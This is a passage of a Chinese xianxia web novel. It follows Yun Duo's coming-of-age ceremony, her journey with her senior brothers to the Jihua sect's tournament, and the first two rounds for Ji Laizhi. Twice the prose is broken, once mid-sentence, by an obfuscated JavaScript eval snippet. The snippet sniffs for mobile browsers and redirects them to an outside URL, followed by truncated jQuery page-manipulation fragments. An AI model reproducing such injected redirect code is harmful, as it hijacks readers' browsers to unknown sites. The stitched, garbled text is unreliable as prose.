原本这些环节应由笄者母亲或德才兼备的女性长辈完成,但云朵没有母亲,浮云宗也没有德高望重的女性长老,只得由二位师兄代劳了。 夏南烛适时递上黑绸,云怀清接过,动作轻柔却庄重地用绸布裹起云朵的发髻。 “礼成。”云怀清退后半步,含笑看向云朵。 云朵抬手摸了摸裹着黑绸的发髻,又摸了摸发间的青玉簪,感觉自己似乎真的有了些大人的模样。 “云朵,“云怀清忽然从袖中取出一方素帕,帕角绣着云纹,“恭喜你,从今天起就正式成年了。” 云朵接过帕子,展开一看,帕面竟用银线绣着“岁宁”二字,针脚细密,如行云流水。 “这是......?“云朵疑惑抬头。 云怀清微微一笑:“今日不仅是你的及笄礼,也是你获字的吉日。前些日子,我受师尊召唤去了他闭关的洞天,他将这个帕子交于我,赐你表字''岁宁'',愿你岁岁长安,安宁顺遂。” 云朵怔住了,手指无意识地摩挲着帕子上的绣字。岁宁,岁宁......这是师尊为她取的字,她以后不止是云朵了,更是浮云宗的云岁宁。 “多谢师兄,多谢师尊。”她声音有些哽咽,却掩不住眼底的欣喜。 她跪在软垫上,朝前郑重地磕了三个头。叩谢天地恩赐、宗门养育、师长教诲。 三叩毕,云怀清道:“好了,仪式结束,起来吧,岁宁。” 云朵起身,转头望向殿外湛蓝的天空,天上飘着朵朵白云。 “岁宁,岁宁......”她轻声念着这个刚刚赐予自己的字,嘴角不自觉地上扬。 “怎么了,师妹?”季来之凑过来,好奇地问。 云朵转头看向他,眼中闪烁着前所未有的光彩:“三师兄,我有字了,岁宁。” 季来之:“嗯嗯,我刚才听见啦。师尊给你取的字听起来挺文雅的嘛!比云朵这名字好听多了!” “哪有!我的名字也很好听的好吧!”云朵表示不服。 季来之投降:“好好好,都好听,都好听!” 云朵懒得继续跟他斗嘴,摸了摸发间的玉簪。 从今天起,她就不再是小孩子了。 7. 霁华试剑锋(1) 成年之后的日子,对于云朵来说并没有太多不同,还是一样地过。 听听学,耍耍剑,撸撸猫,转眼就到了春天。 这天,云朵正在焦香轩后院里跟雪团快乐地玩耍。 “雪团,来~这是我靠帮厨跟大娘换来的小鱼干。” 雪团抬头看看云朵,又低头看看小鱼干,试探性地闻了几下后,张口开始狼吞虎咽。 云朵则趁着它大快朵颐,伸手从它的头一路摸到尾巴。 好丝滑的手感啊,要是能养在歇云处,每天抱着它睡觉,那该多美啊! 可惜了,季来之怕猫怕得要死,有几次在焦香轩跟雪团偶遇,他都一蹦三尺高,恨不得当场表演一个得道升仙。 想到这,云朵长长地叹了一口气。 算了,不做白日梦了,还是先去修炼吧。 “雪团啊,我要去练剑啦,下次再来找你玩。” 云朵意犹未尽地拍掉了手上和身上的毛,转身往门外奔去。 “砰!” 云朵在冲出门的瞬间,迎面撞上了一个人。 “哎哟!我的脑门!”她捂着额头,踉跄退后两步,觉得眼前一阵一阵闪白光。 对面的人也被她撞得不轻,用手捂着胸口,缓了片刻,才缓声道:“云朵?你为何这般着急?” 听见熟悉的嗓音,云朵霍然抬头:“二、二师兄?你怎么到焦香轩来了?” 云怀清和夏南烛早已辟谷,因此他们的身影很少出现在焦香轩。 夏南烛放下了捂着胸口的手,道:“我有事找你,来之说你来了焦香轩,我就过来了。” 后面的话就不用说了。 云朵不好意思地挠挠后脑勺:“这样啊,二师兄找我有什么事?” 夏南烛道:“你可知,今年会举办比武大会?” 每隔三年的春季,众多仙门会共同举办比武大会。比武大会面向金丹弟子,各仙门都会派出自家最有天赋的弟子参加。对于已颇有地位的仙门,这是彰显宗门雄厚实力的舞台。而对于名不见经传的小门小派,如果其弟子能够在比武大会上表现亮眼,一方面算是打响了招牌,说不定能够一举提升其在仙门百家中的地位。另一方面,也能顺便吸引更多好的苗子拜入门下,壮大自身实力。 通常来讲,比武大会由仙门排名中前三的天剑阁、霁华宗、缥缈阁轮流举办,今年轮到了霁华宗。 云朵点头:“知道呀,这次应该三师兄代表咱们浮云宗出战吧?” 夏南烛道:“没错,不过刚刚大师兄传讯给我,说师尊允许你跟着过去,参观学习,顺便也能对当今各大仙门有个大概了解。” 云朵顿时双眼放光:“真的吗?!我可以跟着三师兄一起去?” 夏南烛道:“跟着我们两个,这次去比武大会,由我带队。” 云朵开心地跳了起来:“好耶!那我们什么时候出发?” 夏南烛道:“随时。你们收拾好行囊后,我们就出发。” 午后刚过,夏南烛便领着云朵和季来踏上了去往霁华宗的旅程。 云朵还没有完全消化这个突如其来的惊喜,心脏还在怦怦跳。要知道,自从她十岁进入浮云宗,每年下山的次数用一只手就数得过来。就是算上背着大师兄和二师兄偷跑下山,最远她也只到过栖霞镇。比栖霞镇再远的地方,对于她都是未知的。 临近山门,三人看见一道青色的身影侧身伫立在门牌下。察觉到有人靠近,那人转身过来。 是云怀清。 云朵开心地蹦过去:“大师兄!你是特意来送我们的吗!” 明知故问。 云怀清见到他们三人的着装,愣了一下。 浮云宗的门派服装以浅蓝为底色,衣服下摆和袖口绣有白色的云纹,内门弟子的服装还会在云纹上用金线做装饰。由于浮云宗宗主速来随性,平日里,弟子们很少着宗门服饰,而是按照自己喜好来。夏南烛喜穿白袍,季来之爱穿红衣,云朵则是总穿着一身浅粉色的衣服蹦蹦跳跳,就连云怀清自己,除了会客和出席正式场合外,也不怎么穿这身门派服装。 云怀清上下打量了三人一会儿,笑道:“平日不见你们穿这身,现在穿上了,我倒是差点认不出了。” 云朵展开双臂,在他面前转了两圈,问:“怎么样大师兄,我穿这身好看吗?” 云怀清道:“好看,朵朵穿什么都好看。” 云朵道:“大师兄,为什么你不叫我岁宁呀?” 云怀清道:“不喜欢我叫你朵朵吗?” 云朵摇头:“没有没有!大师兄叫什么都行,想叫什么就叫什么。” 云怀清笑着摸了摸她的头,看向夏南烛和季来之,正色道:“虽说比武大会只允许金丹期的弟子参加,但为了应付突发情况,往常每个宗门也都会派一些修为更高的弟子或长老同去。按理说,这次应该由我带队,但实在是宗门事务太多,我难以脱身,只好辛苦南烛代劳了。”说着,他又拍了拍季来之的肩膀,嘱咐道,“来之,你虽武艺高强,但比武大会上向来卧虎藏龙。输赢不要紧,最重要的是保护好自己。” 季来之笑嘻嘻地道:“大师兄放心,我保证全须全尾地把第一名给你抱回来!” 云怀清无奈:“我要个第一名做什么?” 季来之恍然大悟:“哦对,大师兄当年就是第一名,二师兄也得过第一名,那这个第一名我是必须得拿下了!” 云怀清扶额。 季来之道:“大师兄放心吧,我壮实得很,受伤流血都算是给我排毒了。再说了,不是还有二师兄在嘛!二师兄治这种伤啊病啊的最在行了。” 云怀清摇头苦笑,对夏南烛道:“看来这次,南烛要格外辛苦了。” 夏南烛脸上倒是不见愁容,只回道:“大师兄放心,南烛一定护好师弟师妹。” 四人又聊了几句,云怀清才放他们下山。云朵一步三回头,直到青色的身影变成小小的一个点,才转头跟上夏南烛的步伐。 浮云宗建在一座高山上,常年云雾缭绕。从浮云宗大门到山脚铺设着几千级台阶,顺着台阶往下走,两侧的景色会逐渐变换,仿佛从秋冬走入盛夏。 云朵向来非常宝贝能下山的时间,故而每次都是直接御剑。这次他们三人提前出发去霁华宗,路上时间充裕,因此选择沿着台阶走下山。一路上,云朵都在探索与发现,时不时指着不认识的叶子果子问夏南烛,夏南烛也都一一耐心解答。 云朵向他投去崇敬的目光:“二师兄,你太厉害了,这世界上到底有没有你不认识的植物呀?” 夏南烛道:“毕竟天外有天,肯定有些我不认识的。但这座山上的一草一木,我都认识。” 季来之听她俩这一问一答许久,仿佛回到了在学堂听课的日子,头里有根筋隐隐作痛。 他连忙插话道:“二师兄,你当年是怎么在比武大会上夺冠的呀?你主修丹药,对战上并不占优势吧?“ 夏南烛瞥他一眼,回道:“我也会用剑。” 季来之睁大眼:“难道说,你是靠剑术赢的?这听起来不太像真的啊。”他慢慢蹭到夏南烛身旁,压低声音问道,“二师兄,你不会是趁着比试前夜,偷偷溜到对手的屋里给他们下药,让他们第二天发挥不出实力?毕竟你擅长丹药,随便搞点——哎疼疼疼疼!!师兄我错了!!我错了!我的耳朵啊——!!!” 夏南烛头上爆出青筋,用手拽着季来之的一只耳朵,斥道:“我怎可能做那种事!” 云朵也听不下去了,骂道:“季来之你可不要以己度人,你承认二师兄就是厉害很难吗!” 季来之疼得眼泪都飚出来了:“我错了!我真错了!二师兄风光霁月公正不阿才高八斗天下第一!放过我的耳朵吧!!“ 夏南烛黑着脸松了手,季来之一蹦蹿出老远,心有余悸地揉着耳朵。 为什么一个丹修,手劲这么大啊! 云朵见这茬过去了,赶紧换新话题:“二师兄,你之前去过霁华宗吗?那里什么样?地方大吗?比咱们浮云宗如何?” 夏南烛思索一阵,回答道:“霁华宗作为排名前三的宗门,自然是要比浮云宗气派,弟子也多。我之前与霁华宗的人接触不多,只是听说那里的弟子都性子温和,无甚大宗门的傲慢,待人接物颇为谦虚有礼。再多的,我也不清楚了,若是大师兄在这里,大概还能给你详细讲讲。” 云朵听了,虽然有些意犹未尽,但也知道以二师兄的性格,这便是已经把他所有知道的都和盘托出了。 “没关系,等我们到了霁华宗,自然就什么都知道了!” 三人一路走一路玩,一个月后才到达霁华宗。 霁华宗也建在山上,不同的是,霁华宗家大业大,占了十几个山头。 远远望去,霁华宗的建筑宛如一座遗世独立的仙宫,盘踞在云雾缭绕的群山之上。 走近些,汉白玉的大门映入眼帘,白色的门壁上雕着金色纹路,在阳光的照耀下,散发着耀眼的金光。 大门上方悬挂着一块巨大的牌匾,同样是白底金边,用苍劲的金色字体书写着“霁华宗”三个大字。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062167|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一条宽阔的白色石板路从大门内延伸出来,两侧各立着几位霁华宗的弟子。弟子们身着白金相间的宗门服饰,衣袂飘飘,气质不凡。 云朵小声嘀咕:“哇,不愧是大门派,这排场就是不一般!” 其中一位少女向他们走来,款款施礼:“霁华宗弟子杨疏意,奉宗门之命,迎浮云宗诸位道友入山。” 夏南烛回礼道:“浮云宗夏南烛、季来之、云岁宁,见过杨姑娘。” 杨疏意微微一笑,道:“三位远道而来,定是累坏了。霁华宗为各位准备了暂住的居所,请随我来。“ 夏南烛道:“有劳杨姑娘了。” 杨疏意走在最前面,领着三人在霁华宗中穿行。她一边带路,一边简单介绍了一下日后他们会用到的设施的大致位置。 兜兜转转了约一盏茶的工夫,他们终于来到了目的地。霁华宗给他们分了一个位置较偏的小院,院子里共有四个房间,院中还有一石桌,桌旁围着四个石凳。 季来之感叹道:“要是大师兄一起来,简直是把我们在浮云宗的住处搬过来了一样。“ 杨疏意道:“看来季公子对这住处很满意。” 季来之有些吃惊,道:“杨姑娘真是冰雪聪明,刚刚我们三个明明没有分开与你自报家门,却能知道我就是季来之。” 杨疏意笑道:“季公子谬赞了。你们三人之中,夏公子我是认得的,‘岁宁’听着又像个文静小姑娘的名字,所以我斗胆猜你便是季公子。” 夏南烛有些奇怪:“杨姑娘认得我?” 杨疏意点头:“认得的。夏公子夺冠的那次,我有幸在台下观战,自然印象深刻。” 夏南烛道:“原来如此。” 季来之一听来了劲:“那姑娘能否说说,我师兄是如何战胜对手的?” 杨疏意道:“我当时刚入宗门不久,年纪很小,记不太清细节了。但我记得夏公子将药理与剑法完美结合,比试过程中,场外的喝彩声此起彼伏。” 季来之道:“原来如此。” 云朵伸手从背后掐了他一下,咬牙低声道:“你不会还在怀疑二师兄是靠下药赢的吧??” 季来之被她掐得一抖,反手扣住了她的手腕,赶紧解释:“没有啊,我真的只是好奇,真的真的!” 杨疏意看到她们俩的小动作,也没有戳破,只是目光在两人之间徘徊几圈,问到:“请问本次浮云宗出战的弟子是哪位?” 季来之头一歪,眯眼笑道:“杨姑娘这么聪明,不妨再猜一猜?” 杨疏意思考片刻,答道:“我猜一定有季公子。至于云姑娘……我大概可以期待一下下次比武大会的夺目表现?” 云朵睁大眼:“哇,杨姐姐,你真是神了!” 季来之抚掌大笑:“不错,不错,就是我。只是不知道杨姑娘本次是否参赛?” 杨疏意报以一笑:“我虽也是金丹期,但在前期宗门内部选拔中已经落败,无缘本次大会啦。” 云朵有些吃惊,问道:“啊?你们宗门内部还要先选拔一下啊?不能全参加吗?” 杨疏意道:“比武大会每个宗门限三名弟子参加,不然几个大门派各派几十个金丹弟子来参加,不仅会影响比赛的公平性,对参赛弟子本身也会造成很大负担。” 季来之遗憾道:“那还真是可惜了,原本觉得如果在对战中遇到,杨姑娘会成为我夺冠路上的劲敌呢。” “我是琴修,本就不善战斗,这次也就在场下为各位道友默默加油了。”说罢,她正色道,“季公子,一周后,本届大会的首轮比赛将在霁华宗后山的‘迷雾森林’举行,森林中藏有十六枚腰牌。所有参赛弟子需要在两个时辰内凭智谋、机敏、术法自寻机缘,时辰尽时,腰牌在身者方得晋级。” 季来之微微吃惊:“那没有寻到腰牌的人,就直接卷铺盖回家了?” 杨疏意点头:“没错。” 季来之有些意外,转头问夏南烛:“没想到这首轮就要淘汰这么多人啊!二师兄,你当年参加的那届也是这样吗?” “不是,大概是参赛弟子越来越多,大赛的赛制也顺应发生改变。” 云朵看热闹不嫌事大:“三师兄,你可千万要挺过首轮呀!” “想看我的热闹?那你恐怕要失望了!” 杨疏意见他们三人已经聊开了,适时打断:“如此一来,我的任务全部完成,便不在这里叨扰了,各位道友好生休息。比武大会在一周后正式开始,疏意在这里预祝季公子旗开得胜。”说完,她行了一礼,离开了院子。 8. 霁华试剑锋(2) 一周后,参赛众人齐聚于迷雾森林外。 迷雾森林,自古为霁华宗护山灵境之一。其中千载雾气凝而不散,在山中翻涌盘踞,掩尽山间景色。林深之处,灵气紊流,方寸之外即难辨认敌友,唯见袅袅白雾遮天蔽日,使人不知年岁。 众人望着森林中翻涌的浊云,夹杂着不安的窃窃低语声笼罩着人群。 忽的,白雾中出现了一个身影。 人群中有人注意到了,惊呼道:“快看,森林里好像有人!好像还在往我们这边走!” 众人闻声纷纷转头看去。 白雾中的人影逐渐清晰,随着一只白底鎏金的靴子踏出浓雾,众人见到一位鹤发童颜的霁华宗长老手执拂尘,步履平稳地走出,立于众人面前。 他的视线扫过众人,一甩手中的浮尘,朗声道:“各位道友好,我是本轮比赛的考官林清尘。相信诸位的接引弟子已经介绍过本轮比赛的规则了,本轮只允许参赛弟子参加,其他人只能在场外观战。我身后的森林中藏有十六块腰牌,参赛弟子需要在两个时辰内各凭本事,取得腰牌。两个时辰一到,有腰牌者晋级,无腰牌者淘汰。” “若无异议,本轮比赛正式开始。”林轻尘说完,右行几步,让开通向入口的路,“诸位,请吧。” 他话音刚落,就有人迫不及待地奔向入口,如同游鱼入海,冲进迷雾森林。 季来之对夏南烛和云朵道:“师兄,师妹,我也去啦,你们就在外面等着我的好消息吧!” 夏南烛点头,嘱咐道:“万事小心。” 云朵也正经道:“三师兄加油!” 季来之背朝他们摆了摆手,也钻进了粘稠的浓雾中。 ----------------- 参赛弟子全部进入迷雾森林后,森林入口处恢复了平静。各家陪同人员三三两两聚在一起,靠闲聊打发时间。 云朵踢走了脚下第不知道多少颗石子后,终于忍不住问夏南烛:“二师兄,我们要不要先回住处啊?这比赛一共两个时辰呢,咱们在这也看不见里面的情况,只能干等着,又帮不上忙。还不如回去歇歇,等时间快到了再赶过来接三师兄。” 夏南烛皱眉,不太赞同:“再等等。” 云朵撇撇嘴,心里不太乐意,但也不敢忤逆夏南烛。 霁华宗的林长老自从参赛弟子们进入森林后,就一直在入口处不知摆弄什么。云朵心里好奇,但她悄悄看了眼身旁面无表情的夏南烛,也只能眼巴巴地瞅着,不敢上前去一探究竟。 林长老忙活了好一阵,终于停下动作,用宽袖拂去额头的汗水,转身对等在场外的众人道:“抱歉,让各位久等了。森林中的阵法出了些问题,我刚刚修复好。”他手执拂尘,在空中虚点三下,然后用力一挥,森林入口两侧凭空出现了许多面水镜。 有的水镜中只有一人,形单影只;有的水镜中人影三三两两,结伴而行。 共同之处,便是他们的周围都充斥着乳浆般的浓雾。 云朵惊喜道:“这、这难道是森林里面的影像?我们可以观战了!” 夏南烛点头回应。 二人开始在众多画面中寻找熟悉的身影。他们寻了半天,将那几十上百个水镜来回扫视了好几遍。 “二师兄,你找到三师兄了吗?他不会一进去就被厉害角色盯上,被干掉了吧?” 夏南烛不答,他的目光沉静如水,锐利地扫过众多水镜。那浓得化不开的白雾对参赛者是障碍,对观战者亦是。他很快锁定了一块镜子,那镜面中有一个快速移动的小点。 他用手指向那边,低声道:“在那里。” 云朵顺着他手指的方向看去,终于在一个不起眼的角落中看到了季来之的身影。只见他正在辨不清方向的白雾中飞奔,黑色的长发在他背后如浪涛般翻飞。蓦地,他停了下来,站在原地支着下巴思索片刻,转身朝着另一个方向跑去。 云朵被他的行为弄得摸不着头脑,正要询问夏南烛,却被一声惊呼吸引走了目光。 “你们看!那里有人为了争夺腰牌,已经打起来了!” 他们所指的水镜中,两名修士为争夺一枚掩在湿滑青石下的腰牌,正大打出手。画面中剑气纵横,冰火激荡。冰棱撞上火球,炸裂的水汽瞬间又化作新的雾气。 一人失足滑入冰冷溪水,另一人抢上欲夺,却被暗处射出的藤蔓缠住脚踝,又陷入三方混战。 呼喝声、兵刃撞击声、痛呼声全都被法术兢兢业业地传递出来。 这边还未分出胜负,那边又有人喊道:“这边也有人在打架!” 只见画面中,有一人发现藏于巨大藤蔓树瘤中的腰牌,正欲摘取,竟有一道黑光直刺其后心!幸好他及时察觉,往侧面一滚,险险避开。 有人倒吸了一口冷气:“这,这不会出人命吗?” 林轻尘捻须道:“诸位放心,若是有性命之忧,当事人即刻会被传送出森林。” 在这片刀光剑影、凶险万分的森林中,季来之却仿佛身处另一个世界。他走走停停,时不时变换前进的方向。他的行动毫无逻辑,也没有预兆,但却总是能与各种危险擦肩而过。 季来之在一棵毫不起眼枯木旁驻足,抬手摸了摸干枯倾斜的树干,又似是不经意地向脚下的松软泥土望了一眼,随后便转身离开。 就在他走出不到半炷香的功夫,那棵枯木“轰隆”一声,竟被另一处战斗泄露的刀气余波扫到根部,彻底倒塌。泥土翻涌中,一枚不起眼的玄铁腰牌赫然露出半角! 云朵捶胸顿足道:“哎呀,他刚才在那边站了好一会儿,怎么就没发现下面藏着个腰牌呢!” 夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062168|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南烛抬手按住她的肩膀,低声劝道:“不必生气,以来之的修为,未必没有发现下面的腰牌。他避之不取,兴许有他的理由。” 云朵依然愤愤道:“什么理由?总不能是他已经有一块了吧?” 夏南烛抿嘴,并没回话。二人抬头继续观察水镜中的情况。 此时,季来之周围的景色已经与刚才不同了,他正向着林木稀疏、雾气略薄的方向走。突然,季来之像是被脚下的藤蔓绊了一下,身形微顿,顺势弯腰整理了一下袍角。 就在这时,不远处传来打斗声,只见几名弟子正为了争夺一块腰牌缠斗在一起,恰好挡住了季来之原本前进的路线,灵力激荡的余波将那片区域的雾气搅得更浑浊不堪。 季来之懊恼地摇摇头,转身走入更深的、浓稠白雾之中。 云朵半信半疑地喃喃自语:“他这运气是不是有点太好了?好像总能躲开打架的机会。” 夏南烛看了她一眼,欲言又止,最后还是没有开口,只安静观战。 时间一分一秒过去,森林深处的战况愈发激烈。一旦有人取得了腰牌,接下来要面对的就是源源不断的挑战者、抢夺者、偷袭者。不断有人负伤、失去腰牌或被逼退赛。 两个时辰将尽,震天的终场钟声即将敲响。 水镜中,画面上是一片宁静的林间空地,季来之正盘膝坐在一棵巨大的古树下调息,似乎浑然不觉时间的流逝。 云朵急得手心冒汗:“哎呀!三师兄他……他一直走来走去地闲逛,腰牌呢?他有腰牌吗?没有腰牌,不是马上就要被淘汰了?” “咚!咚!咚!” 比赛结束的钟声响彻森林,所有晋级腰牌被瞬间点亮,发出耀眼的金色光华! 在所有观战者惊愕或羡慕的目光中,一道金光从季来之挂在腰间的储物袋中陡然升起—— 不知何时,那枚象征着晋级资格的腰牌,早已成为他的囊中之物。 他缓缓睁开眼睛,嘴角弯成一道恣意的弧度,起身拍了拍衣袍上并不存在的尘土,漫不经心地从储物袋中掏出腰牌。 迷雾森林外,鸦雀无声。 云朵瞪大了眼睛,双手扯着夏南烛的袖子疯狂晃悠:“……天……天呐!三师兄他真的……真的就是进去走了一圈……然后就……晋级了?”她激动得话都说不利索了,“他是怎么做到的?太、太神奇了!这就是传说中的大气运吗?” 夏南烛的目光依旧锁定在水镜里季来之那张笑得无辜的脸上,许久,才缓缓吐出一口气,嘴角难得勾起一丝弧度,低声自语:“大气运?或许吧。”他顿了顿,眼中锐利的光一闪而逝,“不过,真的只是因为幸运吗?” 季来之看着手中闪耀着金光的腰牌,露出一个仿佛自己也觉得“很意外”、“很幸运”的笑容,施施然地朝着森林出口走去。 9. 霁华试剑锋(3) 首轮比赛结束后两天,是第二轮比试的日子。 他们三人伴着轰鸣的鼓声,来到了霁华宗主殿前的广场上。 主殿前已经站满了五颜六色的人影,各家弟子三三两两聚在一起聊天。云朵的目光被一群暗红色的身影吸引过去,她用手肘顶了顶季来之,问他:“你看那边,有一群审美跟你一样的人。” 季来之顺着她指的方向看了一眼,收回视线给了云朵一个白眼:“胡说!我穿的红色比他们鲜艳多了,他们这红得老气横秋的,哪里跟我像了?” 云朵回给他一个白眼:“你跟他们五十步笑百步,谁也别嫌弃谁!” 季来之撇嘴,随即端起了年长者的架子:“你还小,有些事情你不懂。” 云朵骂道:“我呸,我已经成年了!” “是是是,你是成年了,但者可是你第一次出远门呢。”季来之说着说着,突然压低声音在她耳畔道,“云岁宁,你记着,以后如果外出历练的时候,碰到了穿着那身衣服的人,赶紧躲远点。” 云朵被他突如其来的认真吓了一跳:“干、干嘛?你怎么突然这么正经了?那群人怎么了,他们是哪家的弟子?你是不是之前被他们欺负过?” 季来之道:“我再借他们点能耐,他们也欺负不了我!但这帮天剑阁的人,个个都是武痴、剑痴,还死倔!看到武艺高强的人,就要缠上去比试一番。若是谁惹上了他们,非得被他们追到天涯海角不成。” 云朵恍然大悟:“我懂了,这最后一句才是重点。” 季来之忍无可忍,给了她一个爆栗:“我在认真提醒你呢!你到底能不能抓对重点!!” 云朵捂着被敲痛的头,道:“能能能!不就是以后在外面看见他们,就赶紧绕道走吗!” 一直保持沉默的夏南烛突然插话:“安静,典礼要开始了。” 云朵抬头,只见五道身影从正殿内走出。为首之人须发皆白,眉眼间皆是慈悲,腰间别着一柄淡金色佩剑,剑鞘虽隐在大殿飞檐的阴影中,却依然熠熠生辉。 这五人走出主殿后,在阶梯最上方一字排开,那位须发皆白的老人站在中间,首轮比赛中的督战长老赫然在列。他们身上的衣服依然是代表霁华宗的金白配色,但相比昨日见到的霁华宗弟子服,金色的部分占比更多,衣服上的海浪纹饰也更加复杂精美。 为首之人捋了捋胸前的白须,上前一步,开口道:“诸位道友,肃静——”那声音和着灵力送出,声如洪钟,如雷贯耳。 场下的嘈杂声立马消失殆尽。 他继续道:“吾乃霁华宗掌门,华知远。今日云霞作幕,天光为鉴,众仙家后起之秀俱汇于此,欲以手中剑、掌上法,试一己锋芒。然霁华设擂之初衷,非为决一生死,亦非较一日短长;乃愿诸君于刀光剑影间,反照本心,叩问武艺与心性,以砺锋镝,以臻上乘。“ “为此,本次大会立三重禁令—— 一禁妄杀,见血立止; 二禁阴毒,违者逐出; 三禁私怨,各凭本门公证。” “云台四周,留影石遍照无遗;擂台之外,诸宗长□□为监察。若有违令,天地同鉴,律法无赦。” “三声鼓罢,诸弟子腰牌背面自现场地与对手之名。愿尔等怀敬畏之心,展平生所学;胜负之外,更见天地。老夫于高台之上,静候诸位佳音!” 随着霁华宗宗主话音落下,广场四周的十六面鼓同时响起。猎猎鼓声如沉雷滚过云海,掠过万千弟子衣袂。 三声过后,季来之低头,翻开腰牌,只见乌黑的腰牌上已显现出了几个金色的字: 擂台四——霁华宗林星遥 华知远的声音再次响起:“相信诸位都已将对战信息了然于心。一个时辰后,鼓声再起,擂阵即开。”他的目光扫过广场上的各派弟子,朗声道,“诸位,请——” 说罢,他带领着其余四人转身离去,回到了霁华宗主殿。 他们一离场,场上的弟子们像被解开了定身术一般,又开始交头接耳。 “哇,那就是霁华宗的宗主和长老们,好有威严!” “那可是站在当今修仙界顶点的人之一,他往那一站我都不敢大声喘气。” “什么时候我也能像他一样厉害!” “别想了,能站到那个位置的人,在天赋上就已经碾压我们了。人家七八岁就结金丹了,你几岁结丹?” …… 云朵凑过去看季来之的腰牌,感叹道:“哇,你这一上来就碰上了霁华宗的人,真不知道你是幸运还是不幸了。” 季来之挑眉道:“怎么?小师妹这是担心我?你放心,管他是什么霁华宗还是天剑阁,你都只管等给我欢呼喝彩便是!” 云朵无语道:“好的,我已经准备好安慰你的说辞了。” 季来之急道:“不是,咱俩好歹师兄妹一场,你能不能盼我点好?” 夏南烛见她俩又要开始吵,赶紧一手按住一个,道:“现在不是玩闹的时候,离正式开擂还有一个时辰,我们先去比试场地外等候,来之也顺便静息调息,做好准备。” 季来之笑笑:“放心吧二师兄,我就是直接上场也不会输的。” 夏南烛道:“不可轻敌。” ----------------- 三人来到擂台四,场外还没几个人。季来之在夏南烛的要求下,找了个空地打坐去了,剩下云朵和夏南烛在那发呆。 在云朵数到不知道第几十朵云时,擂台对面传来了嘈杂的声音。 十几个霁华宗弟子说笑着走进了场地,被他们簇拥在中间的少年看上去十七八岁,长着一张白净清秀的脸,整个人清瘦修长,却不显孱弱。他笑眼弯弯地和同伴们交谈,仿佛他不是来比武,而是来赴宴。 “怎么?这就看入迷了?”耳旁冷不丁传来季来之的声音。 云朵被他突然出声惊得一哆嗦,回手给了他后背一巴掌:“你不是打坐呢吗?好啊,你敢偷懒!到时候要是比试输了,你看我不给大师兄告状的!” 季来之无所谓地摊开手:“我说了,我就算不准备,直接上场都能赢,你不信?” 云朵笃定:“不信!” “管你信不信,待会就见分晓了!” 他们说话间,霁华宗一行人已经来到他们附近。那清秀少年朝他们抱拳行礼,道:“在下霁华宗林星遥,见过浮云宗诸位道友。” 季来之回了一礼,笑道:“星遥兄客气了,没想到我的对手竟是一位面若桃花的小公子,倒让我有些不好意思下重手了。” 林星遥面上笑容不变,眉眼弯弯:“季道友说笑了,比试场上哪有什么下重手不下重手的。我既来参赛,便做好了全力以赴的准备。” 季来之道:“说的不错,我看时辰也差不多了,我们是不是该上场了?” 林星遥淡然一笑,作出个“请”的手势:“那便请季道友赐教了。” 季来之也不跟他客气,足下一点跃上擂台,朝对面的林星遥做了个夸张的邀请手势:“星遥兄,请赐教!” 远处传来隆隆鼓声。 比试开始。 鼓声还未落下,林星遥便已急速后撤,跟季来之拉开了距离。他袖袍一挥,数张符纸激射而出,化为十数道锐利风刃,呼啸着交织成网,朝着季来之推进。 季来之目光扫了一眼风刃网:“看来星遥兄修的是霁华宗正统。” 林星遥微笑道:“正是。” 霁华宗擅符箓,多少达官显贵散尽千金,只为求得一符,保家兴业。 风刃逼近,季来之眼都不眨,不慌不忙地拔出双剑。几道剑光闪过,密集的风刃被破开了一个洞口。排布被打乱后,那风刃组成的网只几瞬便消散了,最后一缕风恰好吹到季来之面前,扬起了他的一缕额发。 季来之拨开落在脸上的发丝,嘴角扬起桀骜的笑:“那你可要小心了,碰到我,最吃亏的可就是你们符修!” 说罢,季来之身形一闪,如离弦之箭般冲向林星遥。林星遥眼神一凛,迅速从袖中又抽出一沓符纸,口中念念有词,那些符纸瞬间化作一道道金色光芒,凝聚成一面坚固的盾牌,挡在身前。 “轰!”双剑狠狠斩在金色盾牌上,火花四溅。季来之眉头一皱,没想到这符修的防御如此厉害,他用力一劈,想要震碎盾牌,然而那盾牌只是微微晃动,并未出现裂痕。 林星遥嘴角上扬,趁着季来之攻击盾牌的间隙,身形一闪,如鬼魅般绕到季来之身后,又是一张符纸拍出,一道冰刺呈直线射向季来之的后背。季来之似乎早有察觉,身体快速一侧,冰刺擦着他的衣衫飞过,钉在了不远处的地面上,地上瞬间开出了一片冰花。 “星遥兄,身手不错啊!”季来之笑着转身,双剑舞得密不透风,一道道剑气向林星遥席卷而去。林星遥咬破手指,在空中飞速画出一个符,一道光幕升起,将剑气纷纷挡下。 季来之见剑气破不开他的防御,决定改变策略。他身形一跃,跳到半空,双剑交叉在头顶,口中念起剑诀,剑身上光芒暴涨,形成一道巨大的剑影,撼天动地般向林星遥压去。 林星遥脸色一变,挥动双袖,一张张符纸如雪花般飞出,在空中列阵,试图拦截那巨大的剑影。然而,季来之的剑影威力惊人,符网在接触到剑影的瞬间,便被撕裂出一道道口子。 “砰!”剑影重重地砸在符网上,符网瞬间破碎,剩余的剑气继续向林星遥冲去。林星遥急忙向后退去,同时手中又掏出一张符纸,这张符纸与其他符纸不同,散发着血红色的光芒。他在符纸上迅速画下一道血符,然后将符纸向对面扔去。 血符在空中燃烧起来,化作一团火焰,向季来之扑去。 